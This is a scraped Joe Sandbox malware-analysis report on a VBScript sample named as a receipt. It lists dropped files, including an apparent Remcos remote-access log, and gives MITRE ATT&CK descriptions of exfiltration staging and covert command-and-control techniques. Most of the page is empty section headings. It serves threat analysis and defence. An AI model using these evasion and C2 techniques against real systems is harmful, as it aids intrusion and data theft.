Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Tapril-30-receipt.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Other

Sigma Signatures

Spreading

System Summary

Data Obfuscation

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\osma.vbs

C:\ProgramData\ova.vbs

C:\ProgramData\remcos\logs.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\zQdp8jhj[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\eEY9exCe[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\json[1].json

Windows Analysis Report
Tapril-30-receipt.vbs

**\Device\Mup\user-PC*\MAILSLOT\NET\NETLOGON**

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre